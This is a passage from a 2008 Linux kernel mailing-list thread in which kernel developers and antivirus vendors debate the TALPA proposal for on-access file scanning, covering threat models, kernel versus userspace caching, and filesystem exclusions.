3) accidentally attacking, non-root process. (open a malicious
openoffice file)
4) accidentally attacking, properly functioning, root processes (my
thought on this would be a properly functioning non-exploited yum
program getting data from a bad repo)

For the purposes of this e-mail discussion can we only discuss #1?  I
think its the easiest problem to look at and is at the heart of stopping
#2, 3 and 4.  If we can keep the files off the disk we greatly reduce
(although clearly don't eliminate) the ability for all of the other
attacks against our system.

> Asking the question is important because if they are spending all of
> their time on Windows virii, then your "elementary threat" is really
> an "elementary strawman".  Or, at the very least, it's a low priority
> effort, since the number of virii out in the field for Linux and MacOS
> desktops is in the noise compared to Windows.  I know that it's
> convenient for AV vendors to claim in their marketing literature that
> this is only because Windows is more popular, but while that might be
> part of it, it is also true that there are significant, structural
> differences between Windows and those other large desktop candidates.

Remember my (contrived to prove a single point, but I think interesting)
goal was not to stop an active attack against any OS, which you appear
to be focusing on.  My goal was to make a Linux fileserver an
inhospitable place for data which may someday attack a system to live.
Our systems have almost infinitely many ingress and egress mechanisms
and I don't think its tractable to attempt to do this at the edge.  At a
minimum while I sit here I can think of smbd, nfs, ftp, http, smtp, ssh,
and rsync which are very likely ingress and egress points of data on a
Linux system.  Trying to move the solution to all of those places gets a
bit large and certainly buggy.  And I think we both agree those aren't
the only possible ingress and egress points for information.

> > Your argument is irrelevant for the threat given and you seem to have
> > contorted the actual point of the statements to fit something else.  But
> > I'm sure you a fan of multiple layers of security that you don't
> > actually believe that "just check on the clients" is the right thing to
> > do.
> 
> Giving up my water bottles and having to take off my shoes at airport
> security has been justified in the name of "multiple layers of
> security".  No, I'm NOT a fan of mindlessly using "defense in depth"
> as an excuse for arbitrary amounts of security and giving up arbitrary
> amounts of my private data.  You need to prove to me that from a cost
> benefit tradeoff it's really worth it.

I guess step one is agreeing that the goal "harden linux to be an
inhospitable host for 'bad' data which may someday be used to attack
another system" is a useful goal.  Maybe you don't agree and if so
please help me understand how that goal is unreasonable.  We aren't
talking about the solution just yet (I'm the first to say that the
patches I posted might be complete shiet for the final solution), just
the goal for a moment.  Maybe the solution will be so unwieldy that we
later find the goal to not be worth it, but this seems the most
simplistic of goals that all AV vendors are going to claim to want to
do.

I believe this to be a reasonable goal as it reduces the attack area for
a number of attacks against linux programs (pdf rendering flaws, jpg
rendering flaws, etc).  Browser downloads bad pdf, evince tries to open
that which the browser just downloaded, BLOCKED.  Obviously the 'right'
thing to do there was update evince so the attack would not work, but
now what stops me, the unsuspecting use who just looked at this pdf and
didn't get hacked from passing it on?  Same thing for openoffice macros?
Sure you update openoffice and you down get p0wnt but that doesn't keep
you from putting it on the NFS server for everyone else in the office
who doesn't know how to keep their system up to date from getting
screwed.

While waiting for AV vendors to see if any of them can make reasonable
claims about goals 2, 3, and 4 I think we can consider #1.  (for all I
know #1 is going to be the ONLY thing that any vendor can make a
reasonable claim about)  Even if they come up with other things I think
that just considering #1 is valuable since it can eliminate some of the
potential solutions.  I don't see myself wasting time going down the
GLIBC path since I believe that making systems inhospitable to 'bad'
data is something that should be done (if reasonably possible) both
client and server side.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[David Wagner]

Eric Paris  wrote:
>Absolutely, I think that our solution needs worry much less about an
>actively attacking root process than Windows. [...]
>
>1) fileserver with no active attack on system
>2) actively attacking non-root processes (run some process that tries to
>screw people)
>3) accidentally attacking, non-root process. (open a malicious
>openoffice file)
>4) accidentally attacking, properly functioning, root processes (my
>thought on this would be a properly functioning non-exploited yum
>program getting data from a bad repo)
>
>For the purposes of this e-mail discussion can we only discuss #1?

OK, focusing on the case of a Linux fileserver that is serving files
to Windows clients (scenario #1) makes sense to me.  That seems like
progress, because it helps define the problem space better.

Seems like Ted Tso has already responded to that one with his comments
on SMB/NFS, where he suggests that there are good technical solutions to
the case of a Linux Samba fileserver, and argues that this is the case
that matters.  It seems to me the ball is now in your court to respond
to that on a technical level.

>I believe this to be a reasonable goal as it reduces the attack area for
>a number of attacks against linux programs (pdf rendering flaws, jpg
>rendering flaws, etc).  Browser downloads bad pdf, evince tries to open
>that which the browser just downloaded, BLOCKED.

I guess this is scenario #2 which you suggest we should not discuss, so
perhaps I shouldn't respond, but here goes: The weakness is that this
does not really reduce the attack area.  This can filter out exploits
but cannot fix vulnerabilities.  For any one vulnerability there are
likely to be gazillions of ways to exploit the vulnerability, and it is
unlikely that an A/V scanner will be able to detect all of those exploits.
So we can't really say that surface area is closed off.

There are other ways to mitigate this particular example threat (e.g.,
SELinux, Systrace, plash, etc.), so if we wanted to consider this kind
of attack scenario, we should probably also look at those as well.
But since you suggested we focus on scenario #1, not on this scenario,
I won't belabor that point any further.

>I don't see myself wasting time going down the
>GLIBC path since I believe that making systems inhospitable to 'bad'
>data is something that should be done (if reasonably possible) both
>client and server side.

"Making systems inhospitable to 'bad' data" is a slogan, not a
well-defined technical problem.  The slogan sounds full of motherhood
and apple-pie goodness on the surface, but when it comes down to details,
what exactly is meant by the slogan isn't so clear to me (what's the
definition of 'bad'? what's the threat model? is this really the best
approach?).  I guess I agree with others who have suggested focusing
on a well-defined technical problem, and that's going to take more
than slogans.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Rene Herman]

On 07-08-08 16:16, Eric Paris wrote:

> Absolutely, I think that our solution needs worry much less about an 
> actively attacking root process than Windows.

Note by the way that this assumption is being actively undermined by all 
those companies releasing software released as big executable blobs that 
you just have to chmod +x and run; as root if you want them in /opt, or 
/usr/local/bin, or ...

Even when OpenOffice.org, IBM Lotus Symphony, RealPlayer, Flash, what 
have you, might generally by themselves not be considered virusses both 
the precedent they set and the opportunity for infecting systems by 
offering those for re-download from elsewhere is worrying.

One of the more useful things the security crowd could do to keep the 
above assumption valid would be working on a general "external software 
installer" and getting all distributions to settle on it (which probably 
needs a common divisor package and distro backends to feed it to the 
native package manager).

Rene.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Fri, 2008-08-08 at 04:06 +0200, Rene Herman wrote:
> On 07-08-08 16:16, Eric Paris wrote:
> 
> > Absolutely, I think that our solution needs worry much less about an 
> > actively attacking root process than Windows.
> 
> Note by the way that this assumption is being actively undermined by all 
> those companies releasing software released as big executable blobs that 
> you just have to chmod +x and run; as root if you want them in /opt, or 
> /usr/local/bin, or ...

but you already say that said blob exists on disk?  Therefore by my most
basic of models it won't ever actually get to run since it will get
scanned right as you try to execute it and you will get EPERM instead of
a running evil process.  (all of that is assuming the userspace black
magic is useful, but I don't think that's really up for debate since we
have no way of knowing exactly what these closed source AV vendors
actually are doing....)

It looks in my mind that more and more the only real model that can even
attempt to be addressed is to make disks inhospitable to data which
might be intended to do ill to another machine.

Once the process is running we are talking about an IDS right?

> 
> Even when OpenOffice.org, IBM Lotus Symphony, RealPlayer, Flash, what 
> have you, might generally by themselves not be considered virusses both 
> the precedent they set and the opportunity for infecting systems by 
> offering those for re-download from elsewhere is worrying.
> 
> One of the more useful things the security crowd could do to keep the 
> above assumption valid would be working on a general "external software 
> installer" and getting all distributions to settle on it (which probably 
> needs a common divisor package and distro backends to feed it to the 
> native package manager).

maybe a good idea, but beyond my expertise or ability to push forward...

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Rene Herman]

On 08-08-08 04:15, Eric Paris wrote:

> On Fri, 2008-08-08 at 04:06 +0200, Rene Herman wrote:
>> On 07-08-08 16:16, Eric Paris wrote:
>>
>>> Absolutely, I think that our solution needs worry much less about an 
>>> actively attacking root process than Windows.
>> Note by the way that this assumption is being actively undermined by all 
>> those companies releasing software released as big executable blobs that 
>> you just have to chmod +x and run; as root if you want them in /opt, or 
>> /usr/local/bin, or ...
> 
> but you already say that said blob exists on disk?  Therefore by my most
> basic of models it won't ever actually get to run since it will get
> scanned right as you try to execute it and you will get EPERM instead of
> a running evil process.  (all of that is assuming the userspace black
> magic is useful, but I don't think that's really up for debate since we
> have no way of knowing exactly what these closed source AV vendors
> actually are doing....)
> 
> It looks in my mind that more and more the only real model that can even
> attempt to be addressed is to make disks inhospitable to data which
> might be intended to do ill to another machine.
> 
> Once the process is running we are talking about an IDS right?

Once the process is running we are talking about having lost.

Note, I did not follow this thread (closely) ...

Thing is just -- just wait for how long it takes said clueless user you 
are so vigorously protecting to disable that which brings about your 
model the first time if interferes with him running a cracked copy of an 
expensive yet popular program, playing a game, installing a wiggling 
nudies screensaver, ...

The difference here is just that Linux systems are particularly bad at 
those tasks to begin with which in nice circular motions keeps those 
clueless users away, obviating the need to protect ourselves from them. 
If this stuff is to be discussed in a context as if Linux were relevant 
on the desktop though, I believe it's rather unproductive to expect a 
fundamental difference with Windows in this respect.

Fine though if you wouldn't insist on that context. As said, wasn't 
following along really.

>> Even when OpenOffice.org, IBM Lotus Symphony, RealPlayer, Flash, what 
>> have you, might generally by themselves not be considered virusses both 
>> the precedent they set and the opportunity for infecting systems by 
>> offering those for re-download from elsewhere is worrying.
>>
>> One of the more useful things the security crowd could do to keep the 
>> above assumption valid would be working on a general "external software 
>> installer" and getting all distributions to settle on it (which probably 
>> needs a common divisor package and distro backends to feed it to the 
>> native package manager).
> 
> maybe a good idea, but beyond my expertise or ability to push forward...

I'll leave it in just in case it spurs someone :)

Rene.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Press, Jonathan]

> -----Original Message-----
> From: malware-list-bounces@dmesg.printk.net [mailto:malware-list-
> bounces@dmesg.printk.net] On Behalf Of Rene Herman
> Sent: Thursday, August 07, 2008 10:56 PM
> To: Eric Paris
> Cc: linux-kernel@vger.kernel.org; Alan Cox;
malware-list@lists.printk.net
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux
interface for on
> access scanning
> 
> The difference here is just that Linux systems are particularly bad at
> those tasks to begin with which in nice circular motions keeps those
> clueless users away, obviating the need to protect ourselves from
them.
> If this stuff is to be discussed in a context as if Linux were
relevant
> on the desktop though, I believe it's rather unproductive to expect a
> fundamental difference with Windows in this respect.

Just an observation about this...

Since I earn my living on the basis of users, clueless or not, I've
gotten into the habit of just taking them as they come and trying to go
out of my way to not refer to them as clueless -- except in a few
specific and particularly annoying cases.

But that's not my point.  My point is that Linux has become a
commercially viable environment with a lot of enterprise users, with a
significant number of enterprises are standardizing on it, or at least
officially supporting/allowing/encouraging its use.  Because of that,
for example, we have a significant number of user issues coming in that
indicate that there are actually plenty of clueless Linux users, whether
the OS was intended for them or not.

The fact that they are there is the main reason that Red Hat and Novell,
for example (at least by my observation from the outside -- I can't
speak at all about how they see if from the inside) seem to be putting
the bulk of their efforts into their enterprise editions, as opposed to
their traditional technologist editions.

The bottom line, then, is that there ARE way more clueless Linux users
out there than there used to be, which makes them a) vulnerable to
losses by virtue of their own mistakes, and b) vectors for the spread of
malware.  Which is kind of why we're here.


Jon Press

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Rene Herman]

On 08-08-08 13:58, Press, Jonathan wrote:

> Just an observation about this...
> 
> Since I earn my living on the basis of users, clueless or not, I've
> gotten into the habit of just taking them as they come and trying to go
> out of my way to not refer to them as clueless -- except in a few
> specific and particularly annoying cases.

You say that as though you feel that calling someone clueless were a bad 
thing. There are tons of subjects I'm completely and utterly clueless 
about and very happily so. But, as you say, that's not the point...

> But that's not my point.  My point is that Linux has become a
> commercially viable environment with a lot of enterprise users, with a
> significant number of enterprises are standardizing on it, or at least
> officially supporting/allowing/encouraging its use.  Because of that,
> for example, we have a significant number of user issues coming in that
> indicate that there are actually plenty of clueless Linux users, whether
> the OS was intended for them or not.

But not users with root access, which is the context in which my own 
remark was. Enterprise users in corporations are not what I call the 
desktop; I'd generally call those workstations, with the desktop being 
your average home PC with the enormous amounts of cheap and buggy 
hardware and the definite lack of central IT management.

It's also dependent on country. Over here in the Netherlands, corporate 
adoption "on the workstation" is very low (and seemingly dropping again 
after some initial attempts in local government) and adoption on the 
desktop is for all intents and purposes 0. It's different especially in 
eastern-europe.

Funny that really, how all that Free as in Speech stuff mostly works for 
people without money...

> The fact that they are there is the main reason that Red Hat and Novell,
> for example (at least by my observation from the outside -- I can't
> speak at all about how they see if from the inside) seem to be putting
> the bulk of their efforts into their enterprise editions, as opposed to
> their traditional technologist editions.
> 
> The bottom line, then, is that there ARE way more clueless Linux users
> out there than there used to be, which makes them a) vulnerable to
> losses by virtue of their own mistakes, and b) vectors for the spread of
> malware.  Which is kind of why we're here.

Right, so that, then, is a threat model. I myself believe you are here 
mostly to guard against 11-year old girls installing infected 
screensavers of horses which given the fairly low adoption of Linux by 
11-year old girls says something about my view of things.

But, yes, as I myself said as well, it might be sensible to discuss this 
issue simply _as if_ lots of users were brushing their My Little Pony's 
while waiting for their kernels to finish compiling if you're designing 
something that _should_ protect them if they were.

Goes back really to the threat model question you were asked I guess.

Rene.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Press, Jonathan]

> -----Original Message-----
> From: Rene Herman [mailto:rene.herman@keyaccess.nl]
> Sent: Friday, August 08, 2008 8:35 AM
> To: Press, Jonathan
> Cc: Eric Paris; linux-kernel@vger.kernel.org; Alan Cox; malware-
> list@lists.printk.net
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux
interface for on
> access scanning

> > Since I earn my living on the basis of users, clueless or not, I've
> > gotten into the habit of just taking them as they come and trying to
go
> > out of my way to not refer to them as clueless -- except in a few
> > specific and particularly annoying cases.
> 
> You say that as though you feel that calling someone clueless were a
bad
> thing. There are tons of subjects I'm completely and utterly clueless
> about and very happily so.

Well, in all honesty, sometimes when I think of someone as clueless,
there is a certain negative emotion that goes along with it.  However,
the point is more that THEY don't like to be called clueless -- both
because, for some reason they take it as an insult, and also because
there are many out there who "know enough to be dangerous" and think
they know more than they really do.  So I have to be careful not to say
anything to them that sounds like I think that, and to make sure that
people in my group have the same discipline.

 
> > But that's not my point.  My point is that Linux has become a
> > commercially viable environment with a lot of enterprise users, with
a
> > significant number of enterprises are standardizing on it, or at
least
> > officially supporting/allowing/encouraging its use.  Because of
that,
> > for example, we have a significant number of user issues coming in
that
> > indicate that there are actually plenty of clueless Linux users,
whether
> > the OS was intended for them or not.
> 
> But not users with root access, which is the context in which my own
> remark was. Enterprise users in corporations are not what I call the
> desktop; I'd generally call those workstations, with the desktop being
> your average home PC with the enormous amounts of cheap and buggy
> hardware and the definite lack of central IT management.

You would be surprised how many users with root access are also
clueless.  I used the word "enterprise" very broadly.  It applies to
large companies/institutions with sophisticated IT departments, but it
also applies to small to medium organizations who said to themselves,
"Gee what's this Linux thing I keep hearing about -- maybe we ought to
get one of those."  And they end up with administrators who also don't
really know all the ins and outs they need to in order to create a
secure environment.

In a way, it's a price that Linux has paid for its growing acceptance.
The user community is not what it used to be.


> It's also dependent on country. Over here in the Netherlands,
corporate
> adoption "on the workstation" is very low (and seemingly dropping
again
> after some initial attempts in local government) and adoption on the
> desktop is for all intents and purposes 0. It's different especially
in
> eastern-europe.

I can't speak about every different country, but I would say that you
are right about Eastern Europe.  But also in the US and Canada we have
plenty of adoption on the workstation.


> > The fact that they are there is the main reason that Red Hat and
Novell,
> > for example (at least by my observation from the outside -- I can't
> > speak at all about how they see if from the inside) seem to be
putting
> > the bulk of their efforts into their enterprise editions, as opposed
to
> > their traditional technologist editions.
> >
> > The bottom line, then, is that there ARE way more clueless Linux
users
> > out there than there used to be, which makes them a) vulnerable to
> > losses by virtue of their own mistakes, and b) vectors for the
spread of
> > malware.  Which is kind of why we're here.
> 
> Right, so that, then, is a threat model. I myself believe you are here
> mostly to guard against 11-year old girls installing infected
> screensavers of horses which given the fairly low adoption of Linux by
> 11-year old girls says something about my view of things.
> 
> But, yes, as I myself said as well, it might be sensible to discuss
this
> issue simply _as if_ lots of users were brushing their My Little
Pony's
> while waiting for their kernels to finish compiling if you're
designing
> something that _should_ protect them if they were.

There are many gradations of users between the kernel pro and the
11-year-old girl.  

One is the guy right out of college who really likes computers and he
gets a job at a place where they use Linux, and he does a web search and
finds this really cool application that might help him do his job
better, so he installs it on the spot.  Uh-oh.

One is the guy who's been working there for a while and the head of IT,
tired of spending so much on Windows, tells him to install Linux on a
few machines, so he follows the instructions and he's now the
administrator.

The fact is that there are MILLIONS out there, and when you have
millions of anything, you are going to have lots of different kinds of
behavior that are hard to predict ahead of time.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Rene Herman]

On 08-08-08 15:11, Press, Jonathan wrote:

> One is the guy right out of college who really likes computers and he
> gets a job at a place where they use Linux, and he does a web search
> and finds this really cool application that might help him do his job
> better, so he installs it on the spot.  Uh-oh.

See, that never happens here. Our guys use Linux while _in_ college (in 
between the periods where they need to run Windows to get their college 
work done ofcourse) and after graduation take a job collecting microsoft 
certifications that their boss pays them to collect.

Then I come along a couple of years later and buy the old soundcards 
that they put up for sale on our national auction site, mentioning I 
want that stuff for Linux testing and they get all teary-eyed and 
melancholic about the good old days when they had the time to play 
around with linux. Those fun childhood days.

Not making it up.

> One is the guy who's been working there for a while and the head of
> IT, tired of spending so much on Windows, tells him to install Linux
> on a few machines, so he follows the instructions and he's now the 
> administrator.

I saw that happening a few years ago here. By now, the small time shops 
that I'm aware of have all gone back to Windows. Linux simply cost them 
too much time which, if IT is not their business, they had no intention 
whatsoever of spending on IT.

Do let me assure you though that I'm definitely aware that my personal 
frame of refence might not be all that gobally applicable and bow out of 
the discussion.

Rene.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> Again, do it all in userspace (caching, and scanning).  I still really
> don't see the need to do this in the kernel becides it being "the way
> people have always done it."

We don't have notifiers for file segment changes that are scalable that
far. We don't have mechanisms for delaying an open for a scan.

There are various bits of this you can't just do in user space. This
doesn't just hurt virus scanners btw its also bad news for indexing disk
content.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 12:25:03PM +0100, Alan Cox wrote:
> > Again, do it all in userspace (caching, and scanning).  I still really
> > don't see the need to do this in the kernel becides it being "the way
> > people have always done it."
> 
> We don't have notifiers for file segment changes that are scalable that
> far.

I agree, but if we did, would that help out a lot here?  Lots of other
groups of people are needing/asking for something like this and if
someone can finally get it together to post something useful, that might
be a very good thing.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

On Tue, 5 Aug 2008 10:01:43 -0700
Greg KH <greg@kroah.com> wrote:

> On Tue, Aug 05, 2008 at 12:25:03PM +0100, Alan Cox wrote:
> > > Again, do it all in userspace (caching, and scanning).  I still really
> > > don't see the need to do this in the kernel becides it being "the way
> > > people have always done it."
> > 
> > We don't have notifiers for file segment changes that are scalable that
> > far.
> 
> I agree, but if we did, would that help out a lot here?  Lots of other
> groups of people are needing/asking for something like this and if
> someone can finally get it together to post something useful, that might
> be a very good thing.

A scalable notification scheme would certainly sort out content indexing
systems more nicely. Open notifiers that scale let you do path indexing
("People who opened file X also opened file Y" - both for optimising disk
layouts and for application level 'what do I prompt the user with' stuff)

The only thing  I can see that is actually needed to get the whole thing
working sweetly even for the virus and HSM cases is an LSM willing to
bounce some opens via a user space helper. Even without that you could
label content 'dubious' on close and relabel it accordingly in the
asynchronous scanning app

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Mon, 2008-08-04 at 17:51 -0700, Greg KH wrote:
> On Mon, Aug 04, 2008 at 08:32:54PM -0400, Eric Paris wrote:

> Oh, and after that, not using a binary interface, have we not learned
> from the ioctl mess?  I sure thought we had...

I don't see a reason why we can't use strings and key=value pairs for
any metadata being sent back and forth.  That seem more reasonable?



> > > Heh, so if you want to write a "virus" for Linux, just implement this
> > > flag.  What's to keep a "rogue" program from telling the kernel that all
> > > programs on the system are to be excluded?
> > 
> > Processes can only get this flag one of 2 ways.
> > 
> > 1) register as a client to make access decisions
> 
> How do you do that?

open the magic "vetting" file RW and you are a client who can answer
access decisions.

> > 2) echo 1 into the magic file to enable the flag for themselves
> 
> Simple enough :)
> 
> > > > 10. Filesystem exclusions
> > > > -------------------------
> > > > One pretty important optimization is not to scan things like /proc, /sys
> > > > or similar. Basically all filesystems where user can not store
> > > > arbitrary, potentially malicious, content could and should be excluded
> > > > from scanning.
> > > 
> > > Why, does scanning these files take extra time?  Just curious.
> > 
> > Perf win, why bothering looking for malware in /proc when it can't
> > exist?  It doesn't take longer it just takes time having to do
> > 
> > userspace -> kernel -> userspace -> kernel -> userspace
> > 
> > just to cat /proc/mounts, all of this could probably be alliviated if we
> > cached access on non block backed files but then we have to come up with
> > a way to exclude only nfs/cifs.  I'd rather list the FSs that don't need
> > scanning every time than those that do....
> 
> How long does this whole process take?  Seriously is it worth the added
> kernel code for something that is not measurable?

Is it worth having 2 context switches for every open when none are
needed?  I plan to get numbers on that.

> 
> > > > 11. Path exclusions
> > > > -------------------
> > > > The need for exclusions can be demonstrated with an example of a MySQL
> > > > server. It's data files are frequently modified which means they would
> > > > need to be constantly rescanned which is very bad for performance. Also,
> > > > it is most often not even possible to reasonably scan them. Therefore
> > > > the best solution is not to scan its database store which can simply be
> > > > implemented by excluding the store subdirectory.
> > > > 
> > > > It is a relatively simple implementation which allows run-time
> > > > configuration of a list of sub directories or files to exclude.
> > > > Exclusion paths are relative to each process root. So for example if we
> > > > want to exclude /var/lib/mysql/ and we have a mysql running in a chroot
> > > > where from the outside that directory actually lives
> > > > in /chroot/mysql/var/lib/mysql, /var/lib/mysql should actually be added
> > > > to the exclusion list.
> > > > 
> > > > This is also not included in the initial patch set but will be coming
> > > > shortly after.
> > > 
> > > Again, what's to keep all files to be marked as excluded?
> > 
> > You have to be root and I'll probably add an LSM hook?
> 
> Why an LSM hook?  You aren't an LSM.

Maybe a new hook, maybe just a capability call, something to make root
not the 

> > > > Closing remarks
> > > > ---------------
> > > > Although some may argue some of the filters are not necessary or may
> > > > better be implemented in userspace, we think it is better to have them
> > > > in kernel primarily for performance reasons.
> > > 
> > > Why?  What numbers do you have that say the kernel is faster in
> > > implementing this?  This is the first mention of such a requirement, we
> > > need to see real data to back it up please.
> > 
> > In kernel caching is clearly a huge perf win.
> 
> Why?  If the cache is also in userspace, it should be the same, right?

In kernel cache has 0 context switches for every open.  Userspace
caching has 2.  Every open has to block, switch to the context of the
userspace client/cache, get that decisions, and then switch back to the
original process.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 03:46:03PM -0400, Eric Paris wrote:
> On Mon, 2008-08-04 at 17:51 -0700, Greg KH wrote:
> > On Mon, Aug 04, 2008 at 08:32:54PM -0400, Eric Paris wrote:
> 
> > Oh, and after that, not using a binary interface, have we not learned
> > from the ioctl mess?  I sure thought we had...
> 
> I don't see a reason why we can't use strings and key=value pairs for
> any metadata being sent back and forth.  That seem more reasonable?

Sure, but do you really want to put a parser in the kernel (well, make
that, yet-another-parser-in-the-kernel...)?

> > > > Heh, so if you want to write a "virus" for Linux, just implement this
> > > > flag.  What's to keep a "rogue" program from telling the kernel that all
> > > > programs on the system are to be excluded?
> > > 
> > > Processes can only get this flag one of 2 ways.
> > > 
> > > 1) register as a client to make access decisions
> > 
> > How do you do that?
> 
> open the magic "vetting" file RW and you are a client who can answer
> access decisions.

What's to keep anyone from doing this?

> > > Perf win, why bothering looking for malware in /proc when it can't
> > > exist?  It doesn't take longer it just takes time having to do
> > > 
> > > userspace -> kernel -> userspace -> kernel -> userspace
> > > 
> > > just to cat /proc/mounts, all of this could probably be alliviated if we
> > > cached access on non block backed files but then we have to come up with
> > > a way to exclude only nfs/cifs.  I'd rather list the FSs that don't need
> > > scanning every time than those that do....
> > 
> > How long does this whole process take?  Seriously is it worth the added
> > kernel code for something that is not measurable?
> 
> Is it worth having 2 context switches for every open when none are
> needed?  I plan to get numbers on that.

Compared to the real time it takes in the "virus engine"?  I bet it's
totally lost in the noise.  Those things are huge beasts with thousands
to hundreds of thousands of context switches.

> > > In kernel caching is clearly a huge perf win.
> > 
> > Why?  If the cache is also in userspace, it should be the same, right?
> 
> In kernel cache has 0 context switches for every open.  Userspace
> caching has 2.  Every open has to block, switch to the context of the
> userspace client/cache, get that decisions, and then switch back to the
> original process.

Again, compared to what?  If you in userspace are doing big complex
things, such an overhead is trivial.

And again, realize that Linux has the fastest context switches _by far_
of any other operating system.  It is ok to do things in userspace, we
are used to that :)

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Greg KH wrote on 05/08/2008 21:15:35:

> > > > Perf win, why bothering looking for malware in /proc when it can't
> > > > exist?  It doesn't take longer it just takes time having to do
> > > > 
> > > > userspace -> kernel -> userspace -> kernel -> userspace
> > > > 
> > > > just to cat /proc/mounts, all of this could probably be alliviated 
if we
> > > > cached access on non block backed files but then we have to come 
up with
> > > > a way to exclude only nfs/cifs.  I'd rather list the FSs that 
don't need
> > > > scanning every time than those that do....
> > > 
> > > How long does this whole process take?  Seriously is it worth the 
added
> > > kernel code for something that is not measurable?
> > 
> > Is it worth having 2 context switches for every open when none are
> > needed?  I plan to get numbers on that.
> 
> Compared to the real time it takes in the "virus engine"?  I bet it's
> totally lost in the noise.  Those things are huge beasts with thousands
> to hundreds of thousands of context switches.

No, because we are talking about a case here where we don't want to do any 
scanning. We want to detect if it is procfs (for example) as quickly as 
possible and don't do anything. Same goes for any other filesystem where 
it is not possible to store arbitrary user data.
 
> > > > In kernel caching is clearly a huge perf win.
> > > 
> > > Why?  If the cache is also in userspace, it should be the same, 
right?
> > 
> > In kernel cache has 0 context switches for every open.  Userspace
> > caching has 2.  Every open has to block, switch to the context of the
> > userspace client/cache, get that decisions, and then switch back to 
the
> > original process.
> 
> Again, compared to what?  If you in userspace are doing big complex
> things, such an overhead is trivial.

Again similar thing as above - In case of a cache we are not doing complex 
things.

So I think you can't argue that because scanning is slow everything else 
has to go to userspace. On a typical running system scanning is 
exceptional and everything else benefits from being in the fast path.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Wed, Aug 06, 2008 at 10:37:06AM +0100, tvrtko.ursulin@sophos.com wrote:
> Greg KH wrote on 05/08/2008 21:15:35:
> 
> > > > > Perf win, why bothering looking for malware in /proc when it can't
> > > > > exist?  It doesn't take longer it just takes time having to do
> > > > > 
> > > > > userspace -> kernel -> userspace -> kernel -> userspace
> > > > > 
> > > > > just to cat /proc/mounts, all of this could probably be alliviated 
> if we
> > > > > cached access on non block backed files but then we have to come 
> up with
> > > > > a way to exclude only nfs/cifs.  I'd rather list the FSs that 
> don't need
> > > > > scanning every time than those that do....
> > > > 
> > > > How long does this whole process take?  Seriously is it worth the 
> added
> > > > kernel code for something that is not measurable?
> > > 
> > > Is it worth having 2 context switches for every open when none are
> > > needed?  I plan to get numbers on that.
> > 
> > Compared to the real time it takes in the "virus engine"?  I bet it's
> > totally lost in the noise.  Those things are huge beasts with thousands
> > to hundreds of thousands of context switches.
> 
> No, because we are talking about a case here where we don't want to do any 
> scanning. We want to detect if it is procfs (for example) as quickly as 
> possible and don't do anything. Same goes for any other filesystem where 
> it is not possible to store arbitrary user data.

See previous messages about namespaces and paths for trying to figure this
kind of information out in a sane way within the kernel.

> > > > > In kernel caching is clearly a huge perf win.
> > > > 
> > > > Why?  If the cache is also in userspace, it should be the same, 
> right?
> > > 
> > > In kernel cache has 0 context switches for every open.  Userspace
> > > caching has 2.  Every open has to block, switch to the context of the
> > > userspace client/cache, get that decisions, and then switch back to 
> the
> > > original process.
> > 
> > Again, compared to what?  If you in userspace are doing big complex
> > things, such an overhead is trivial.
> 
> Again similar thing as above - In case of a cache we are not doing complex 
> things.

Except for the overhead of keeping a cache :)

> So I think you can't argue that because scanning is slow everything
> else has to go to userspace. On a typical running system scanning is
> exceptional and everything else benefits from being in the fast path.

I really can not judge as we have not seen an implementation yet.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Wed, 2008-08-06 at 08:25 -0700, Greg KH wrote:
> On Wed, Aug 06, 2008 at 10:37:06AM +0100, tvrtko.ursulin@sophos.com wrote:
> > Greg KH wrote on 05/08/2008 21:15:35:
> > 
> > > > > > Perf win, why bothering looking for malware in /proc when it can't
> > > > > > exist?  It doesn't take longer it just takes time having to do
> > > > > > 
> > > > > > userspace -> kernel -> userspace -> kernel -> userspace
> > > > > > 
> > > > > > just to cat /proc/mounts, all of this could probably be alliviated 
> > if we
> > > > > > cached access on non block backed files but then we have to come 
> > up with
> > > > > > a way to exclude only nfs/cifs.  I'd rather list the FSs that 
> > don't need
> > > > > > scanning every time than those that do....
> > > > > 
> > > > > How long does this whole process take?  Seriously is it worth the 
> > added
> > > > > kernel code for something that is not measurable?
> > > > 
> > > > Is it worth having 2 context switches for every open when none are
> > > > needed?  I plan to get numbers on that.
> > > 
> > > Compared to the real time it takes in the "virus engine"?  I bet it's
> > > totally lost in the noise.  Those things are huge beasts with thousands
> > > to hundreds of thousands of context switches.
> > 
> > No, because we are talking about a case here where we don't want to do any 
> > scanning. We want to detect if it is procfs (for example) as quickly as 
> > possible and don't do anything. Same goes for any other filesystem where 
> > it is not possible to store arbitrary user data.
> 
> See previous messages about namespaces and paths for trying to figure this
> kind of information out in a sane way within the kernel.

Didn't I already go over this?  The patch for FS exclusions would not be
namespace based, rather  dentry->d_inode->i_sb->fstype->name matching.

Lets not start name based discussions at this point in time.  Those
